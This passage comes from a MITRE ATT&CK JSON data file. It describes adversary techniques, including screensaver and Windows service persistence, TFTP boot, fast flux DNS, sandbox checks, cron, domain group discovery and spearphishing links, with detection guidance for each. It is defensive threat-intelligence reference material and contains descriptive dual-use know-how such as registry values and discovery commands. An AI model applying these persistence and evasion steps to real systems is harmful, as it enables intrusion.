<code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Modification"],"x_mitre_defense_bypassed":["Host Intrusion Prevention Systems","Anti-virus"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bartosz Jerzman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1180","url":"https://attack.mitre.org/techniques/T1180"},{"source_name":"Wikipedia Screensaver","description":"Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.","url":"https://en.wikipedia.org/wiki/Screensaver"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-01-24T13:51:47.990Z","name":"Screensaver","description":"Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","type":"attack-pattern","created":"2020-10-20T00:06:56.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.005","url":"https://attack.mitre.org/techniques/T1542/005"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Boot Information","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#26","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."}],"modified":"2020-10-22T16:35:53.806Z","name":"TFTP Boot","description":"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification","Network Traffic: Network Connection Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Pedro Harrison","Mayuresh Dani, Qualys","Wietze Beukema, @wietze","Akshat Pradhan, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","created":"2020-01-17T19:13:50.402Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1543.003","url":"https://attack.mitre.org/techniques/T1543/003"},{"source_name":"Microsoft Windows Event Forwarding FEB 2018","url":"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection","description":"Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018."},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."},{"source_name":"TechNet Services","url":"https://technet.microsoft.com/en-us/library/cc772408.aspx","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016."},{"source_name":"Microsoft 4697 APR 2017","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018."},{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."},{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"url":"https://capec.mitre.org/data/definitions/478.html","source_name":"capec","external_id":"CAPEC-478"},{"url":"https://capec.mitre.org/data/definitions/550.html","source_name":"capec","external_id":"CAPEC-550"},{"url":"https://capec.mitre.org/data/definitions/551.html","source_name":"capec","external_id":"CAPEC-551"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).","modified":"2022-04-20T14:38:44.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Windows Service","x_mitre_detection":"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.  \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)  \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Service: Service Creation","Command: Command Execution","Process: OS API Execution","Driver: Driver Load","Windows Registry: Windows Registry Key Modification","Service: Service Modification","Process: Process Creation","Windows Registry: Windows Registry Key Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":[],"x_mitre_effective_permissions":["Administrator","SYSTEM"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","type":"attack-pattern","created":"2020-03-11T14:11:16.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568.001","url":"https://attack.mitre.org/techniques/T1568/001"},{"url":"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref","description":"Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.","source_name":"MehtaFastFluxPt1"},{"source_name":"MehtaFastFluxPt2","description":"Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.","url":"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"},{"source_name":"Fast Flux - Welivesecurity","url":"https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/","description":"Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020."}],"modified":"2020-03-27T16:10:37.183Z","name":"Fast Flux DNS","description":"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Deloitte Threat Library Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","type":"attack-pattern","created":"2020-03-06T20:57:37.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1497.001","url":"https://attack.mitre.org/techniques/T1497/001"},{"source_name":"Deloitte Environment Awareness","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."},{"source_name":"McAfee Virtual Jan 2017","url":"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/","description":"Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019."},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2021-10-18T14:57:07.973Z","name":"System Checks","description":"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Static File Analysis","Signature-based detection","Host forensic analysis","Anti-virus"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","type":"attack-pattern","created":"2019-12-03T14:25:00.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1053.003","url":"https://attack.mitre.org/techniques/T1053/003"},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2022-03-24T17:33:03.443Z","name":"Cron","description":"Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.  \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Scheduled Job: Scheduled Job Creation","File: File Modification","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","type":"attack-pattern","created":"2020-02-21T21:15:06.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1069.002","url":"https://attack.mitre.org/techniques/T1069/002"}],"modified":"2020-03-12T19:07:53.043Z","name":"Domain Groups","description":"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","type":"attack-pattern","created":"2020-10-15T02:59:38.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.006","url":"https://attack.mitre.org/techniques/T1588/006"},{"source_name":"National Vulnerability Database","url":"https://nvd.nist.gov/","description":"National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020."}],"modified":"2021-04-15T03:16:32.119Z","name":"Vulnerabilities","description":"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows","Office 365","SaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther","Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Kobi Haimovich, CardinalOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","created":"2020-03-02T19:15:44.182Z","x_mitre_version":"2.2","external_references":[{"source_name":"mitre-attack","external_id":"T1566.002","url":"https://attack.mitre.org/techniques/T1566/002"},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."},{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."},{"source_name":"Microsoft OAuth 2.0 Consent Phishing 2021","url":"https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/","description":"Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021."},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/163.html","source_name":"capec","external_id":"CAPEC-163"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). \n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)","modified":"2022-04-19T15:07:40.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Spearphishing Link","x_mitre_detection":"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon 